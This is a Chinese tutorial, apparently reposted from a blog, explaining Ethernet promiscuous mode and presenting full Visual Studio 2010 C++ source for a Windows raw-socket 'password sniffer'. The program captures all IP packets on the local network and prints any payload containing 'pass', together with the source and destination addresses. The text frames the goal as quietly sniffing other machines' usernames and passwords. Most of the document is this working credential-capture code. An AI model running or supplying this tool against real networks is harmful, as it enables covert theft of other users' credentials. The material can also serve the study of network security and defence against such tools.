vs 2010制作一个Sniffer实例

引用：http://www.cnblogs.com/cndc/articles/2481992.html

一、实现方法

　　在说明Sniffer实现方法之前，让我们先来看看以太网的工作方式。我们知道，以太网是一种基于广播信道的通信网络，在这种广播网络中，数据的发送是以广播方式来进行的。当一台计算机向另外一台计算机发送数据时，该数据将同时被发送到局域网中的其他所有计算机的网卡上。这样一来，每台计算机的网卡都能够收到这个数据帧。但在正常情况下，网卡只接受两种数据帧： 

　　1、和自己的MAC地址相匹配的数据帧。

　　2、网络中的广播数据帧。

　　换而言之，只要网卡发现自己收到的数据帧和自己的MAC地址并不匹配，网卡就简单的将其抛弃，不做任何处理。所以在正常情况下，网络中的通信还是安全的。

　　但是以太网卡还有一种特殊的接收模式：混杂模式。在混杂模式下面，网卡能够接收一切通过它的数据，而不管该数据是否是传给它的。

　　好了，现在Sniffer的原理已经浮出水面，我们来总结一下实现Sniffer的两个条件：

　　1、 我们需要一个共享式以太网环境。

　　2、我们需要将网卡的接收模式设置为混杂模式。 

　　满足这两个条件后，我们就可以在网络中不动声色的来嗅探我们想要的数据了。下面我们来分析一下一个基本的Sniffer是如何实现的。
为了能够在网络上捕捉所有的数据包，我们首先需要将网卡设置为混杂模式。在Windows环境下面我们要用到一个函数：WSAIoctl（）。在MSDN里我们可以看到该函数的定义如下：

int WSAIoctl (
　SOCKET s, 
　DWORD dwIoControlCode, 
　LPVOID lpvInBuffer, 
　DWORD cbInBuffer, 
　LPVOID lpvOUTBuffer, 
　DWORD cbOUTBuffer, 
　LPDWORD lpcbBytesReturned, 
　LPWSAOVERLAPPED lpOverlapped, 
　LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE 
);

　　该函数共有九个参数，第一个参数s是套接字描述符；第二个参数是I/O控制命令，有很多个命令可供选择，但在我们的程序中将只使用SIO_RCVALL 命令。第三、第四个参数是对输入参数进行了描述。第五、第六个参数用于自调用返回的任何数据。第七个参数对应于实际返回的字节数。最后两个参数是 lpOverlapped和lpCompletionROUTINE，在随重叠I/O调用这个函数时使用。在我们的程序中将其设置为NULL。
通过这个函数我们可以将网卡设置为混杂模式，并允许指定的套接字接收网络上的所有IP数据包。解决了网卡混杂模式设置的问题，下面我们就可以做一个实际的 Sniffer，毕竟只有通过亲自动手写程序你才能够真正理解Sniffer。在这个例子中，我们将只捕捉用户名和密码，如果抓到密码的话，就在屏幕上面打印出来，同时还输出源计算机和目的计算机的IP地址，至于其他的信息我们则进行简单的抛弃而不做任何处理。

vs 2010代码：

// Snifpass.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#include <mstcpip.h>
#include "ws2tcpip.h"

#pragma comment ( lib, "ws2_32.lib" ) 

#define MAX_PACK_LEN 4096            //接收的最大IP报文
#define MAX_ADDR_LEN 16                //点分十进制地址的最大长度
#define MAX_HOSTNAME_LAN 255        //最大主机名长度

typedef struct _iphdr
{
    unsigned char h_lenver;            //4位首部长度+4位IP版本号
    unsigned char tos;                //8位服务类型TOS
    unsigned short total_len;        //16位总长度（字节）
    unsigned short ident;            //16位标识
    unsigned short frag_and_flags;    //3位标志位
    unsigned char ttl;                //8位生存时间 TTL
    unsigned char proto;            //8位协议 (TCP, UDP 或其他)
    unsigned short checksum;        //16位IP首部校验和
    unsigned int sourceIP;            //32位源IP地址
    unsigned int destIP;            //32位目的IP地址
}IP_HEADER, *LPIP_HEADER;

SOCKET SockRaw;
int DecodeIpPack(char *,int);        //IP解包函数
void CheckSockError(int,char*);        //SOCK错误处理函数

int _tmain(int argc, _TCHAR* argv[])
{
    int iErrorCode;
    char RecvBuf[MAX_PACK_LEN] = {0};
    WSADATA wsaData;
    char name[MAX_HOSTNAME_LAN];
    struct hostent *pHostent;
    SOCKADDR_IN sa;
    DWORD dwBufferLen [10];
    DWORD dwBufferInLen = 1;
    DWORD dwBytesReturned = 0;
    if(argc!=1)
    {
        printf("Password sniffer written by Wu.\n\n");
        printf("Usage:");
        printf("\tsniffer.exe \n");
        exit(0);
    }
    printf("It's now sniffing,CTRL+C to exit...\n\n");

    //初始化SOCKET,建立一个原始套接字
    iErrorCode = WSAStartup(0x0202,&wsaData);
    CheckSockError(iErrorCode, "WSAStartup");
    SockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);
    CheckSockError(SockRaw, "socket");

    //获取本机IP地址
    iErrorCode = gethostname(name, MAX_HOSTNAME_LAN);
    CheckSockError(iErrorCode, "gethostname");
    pHostent = (struct hostent * )malloc(sizeof(struct hostent));
    pHostent = gethostbyname(name);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(6000);
    memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);

    //绑定套接字
    iErrorCode = bind(SockRaw, (PSOCKADDR)&sa, sizeof(sa));
    CheckSockError(iErrorCode, "bind");

    //设置SOCK_RAW为SIO_RCVALL，以便接收所有的IP包
    iErrorCode=WSAIoctl(SockRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),
    &dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );
    CheckSockError(iErrorCode, "Ioctl");

    //侦听IP报文
    while(1)
    {
        memset(RecvBuf, 0, sizeof(RecvBuf));
        iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);
        CheckSockError(iErrorCode, "recv");
        iErrorCode = DecodeIpPack(RecvBuf, iErrorCode);//对收到的IP包进行解包
        CheckSockError(iErrorCode, "Decode");
    }
}

//IP解包程序
int DecodeIpPack(char *buf, int iBufSize)
{
    IP_HEADER *pIpheader;
    char *SearchPass;
    int iIphLen, iTTL;
    char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
    SOCKADDR_IN saSource, saDest;
    pIpheader = (IP_HEADER *)buf;

    //获取源IP地址
    saSource.sin_addr.s_addr = pIpheader->sourceIP;
    strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);

    //获取目标IP地址
    saDest.sin_addr.s_addr = pIpheader->destIP;
    strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);
    iTTL = pIpheader->ttl;

    //计算IP包头长度
    iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
    SearchPass = buf + iIphLen + 20;

    //如果抓到密码就输出
    if(strstr(SearchPass,"pass")||strstr(SearchPass,"Pass")||strstr(SearchPass,"PASS"))
    {
        printf("\n\n%s->%s ", szSourceIP, szDestIP); //输出源计算机和目的计算机的IP地址
        printf("bytes=%d TTL=%d \n",iBufSize,iTTL);
        printf("%s",SearchPass);
    }
    return 0;
}

//SOCK错误处理程序
void CheckSockError(int iErrorCode, char *pErrorMsg)
{
    if(iErrorCode==SOCKET_ERROR)
    {
        printf("%s Error:%d\n", pErrorMsg, GetLastError());
        closesocket(SockRaw);
        exit(0);
    }
}